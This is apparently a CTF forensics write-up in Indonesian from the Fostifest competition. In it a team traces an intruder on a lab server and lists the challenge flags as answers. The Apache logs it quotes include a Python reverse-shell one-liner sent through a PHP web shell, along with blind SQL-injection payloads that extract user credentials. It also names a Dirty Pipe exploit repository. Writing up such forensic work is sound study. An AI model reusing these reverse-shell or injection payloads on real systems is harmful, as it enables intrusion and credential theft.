

WRITE UP FOSTIFEST
SUKATURU

ptrStar
IKAN TONGKOL
Kris-Kun

Forensic	3
The Attacker	3
Summary	3
Initial Access Backdoor	4
Summary	4
Interactive Shell	4
Summary	4
Privilege Escalation	5
Summary	5
Repo of PE File	6
Summary	6
The Lost Password	6
Summary	6
Bonus	8
Sanity Check	8
Summary	8
Feedback	8
Summary	8
Fosti Server Password	8
Summary	8

Forensic

The Attacker

1. Summary

Server Fosti yang memiliki beberapa service yang berjalan di dalamnya telah dimasuki oleh hekerz pada sekitar tanggal 20-25 september, diduga kuat hekerz tersebut telah menanamkan banyak backdoor di dalam server. Tugas kalian adalah menyelidiki dan menginvestigasi pada server Fosti agar semua jejak hekerz tersebut terlacak

Pada challenge ini carilah IP dari si Attacker alias Hekerz
Format Flag: Fostifest{IP-Attacker}

2. Technical Report

jika dilihat dari log apache pada VM, terdapat IP yang mengakses query yang mencurigakan

```
1 192.168.56.1 - - [24/Sep/2022:11:49:30 -0400] "GET /storage/competition/asd-CTF-17092022040300.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.56.1%22,%224444%22));os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 HTTP/1.1" 404 6869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
```

jadi 192.168.56.1 adalah attackernya

FLAG : Fostifest{192.168.56.1}

Initial Access Backdoor

1. Summary

Full path backdoor for initial access in system Flag:
Fostifest{%s} Example: Fostifest{/path/path/path/file}

2. Technical Report

Kita diharuskan mencari file backdoor yang ditanam, karna di log saya sempat mendapatkan query string "cmd" maka saya asumsikan itu adalah backdoornya.

```
22 192.168.56.1 - - [24/Sep/2022:11:50:37 -0400] "GET /storage/competition/-  
hacker-CTF-19092022095831.php?cmd= HTTP/1.1" 500 193 "-" "Mozilla/5.0  
(Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
```

flag :

Fostifest{/var/www/html/storage/app/public/competition/hacker-CTF-19092022095831.php}

Interactive Shell

1. Summary

IP and Port attacker to get interactive shell Format Flag:
Fostifest{IP:Port}

Example: Fostifest{x.x.x.x:xxxx}

2. Technical Report

kita diharuskan untuk mencari attacker yang mengakses interactive shell, kita dapat lihat pada log berikut bahwa attacker mencoba melakukan rev shell dengan menggunakan python.

```
1 192.168.56.1 - - [24/Sep/2022:11:49:30 -0400] "GET /storage/competition/asd-CTF-17092022040300.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.56.1%22,8069));os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 HTTP/1.1" 404 6869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
```

portnya terlihat pada bagian berikut

```
1 /storage/competition/asd-CTF-17092022040300.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.56.1%22,8069));os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 HTTP/1.1" 404 6869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
```

FLAG : Fostifest{192.168.56.1:8069}

Privilege Escalation

1. Summary

CVE and full path file that used by attackers to perform privilege escalation Format Flag:
Fostifest{CVE-XXXX-XXXX:/path/path/path/file}

2. Technical Report

kita harus mencari file yang digunakan attacker untuk melakukan Privilege Escalation, awalnya sempat tertipu dengan linpeas tapi ternyata bukan itu. file berada pada /var/www/./root/exp untuk mengetahui CVE nya, terdapat pada repo dari exploit tersebut. kita bisa melihat remote dari folder tersebut dengan perintah berikut

```
root@ubuntu:/var/www/./root# git remote -v
origin  https://github.com/Allex/CVE-2022-0847 (fetch)
origin  https://github.com/Allex/CVE-2022-0847 (push)
```

FLAG : Fostifest{CVE-2022-0847:/var/www/./root/exp}

Repo of PE File

1. Summary

Original Repository of files used for privilege escalation Format
Flag: Fostifest{url}

2. Technical Report

karna sudah menjawab soal dari Privilege Escalation, maka sudah didapatkan juga url dari repo untuk exploitnya, didapatkan pada <https://github.com/Allex/CVE-2022-0847>

FLAG : Fostifest{https://github.com/Allex/CVE-2022-0847}

The Lost Password

1. Summary

It looks like the attacker has changed the password from the admin which is used to login to the admin dashboard on web port 80. Look for the password of the admin before changed

2. Technical Report

Diberitahukan bahwa password admin telah diubah sebelumnya, namun sebelum mengubah attacker sempat melakukan leak password pada salah satu sistem. setelah dicek ternyata terdapat log untuk melakukan sql injection dengan mebruteforce karakter dari hasil yang dikeluarkan. jadi saya satu persatu meneliti dari log file bernama access-assets.log.1

```
File Edit View
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:45-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="t'
requests/2.28.1"192.168.56.1--[
  (selectgroup_concat(username,password,status)fromfofstifest.users,67,t)
  x q ↓ ↑ ↺ ×
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="v'---HTTP/1.1"2001177"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="w'---HTTP/1.1"2001177"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="x'---HTTP/1.1"2001177"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="y'---HTTP/1.1"2001177"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="z'---HTTP/1.1"2001177"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="{''---HTTP/1.1"2001177"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="|'---HTTP/1.1"2001178"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),66,1)="'"---HTTP/1.1"2001179"--"python-
requests/2.28.1"192.168.56.1--[19/Sep/2022:09:40:46-0400]"GET/index.php?search=x'ordinarysubstring((selectgroup_concat(username,password,status)
fromfofstifest.users),67,1)=''"---HTTP/1.1"2001176"--"python-
fromfofstifest.users,67,1)=''"---HTTP/1.1"2001176"--"python-
Ln 1, Col 8608596 100% Windows (CRLF) UTF-8
```

didapatkan hasil berikut

adminadmin123!Admin,Flag:Fostifest{You_Can_Read_SQLi_Log_Well_:D}

FLAG : Fostifest{You_Can_Read_SQLi_Log_Well_:D}

Bonus

Sanity Check

1. Summary

Flag: Fostifest{Anjazzz_Kelazzzzzzzzz}

2. Technical Report

tinggal submit ajah

FLAG : Fostifest{Anjazzz_Kelazzzzzzzzz}

Feedback

1. Summary

Link: <https://forms.gle/f7umuTZr4Ue1EnuDA>

2. Technical Report

isi form dapet flag

FLAG : Fostifest{__anjazz_kelazzz__}

Fosti Server Password

1. Summary

Gunakan password dibawah ini untuk membuka file Zip Fosti Server

Password: fostifest_d52f925a44fe265dcf678e8da09aab79

Flag chall ini: Fostifest{%s} %password

2. Technical Report

passnya di desc

Flag:

Fostifest{fostifest_d52f925a44fe265dcf678e8da09aab79}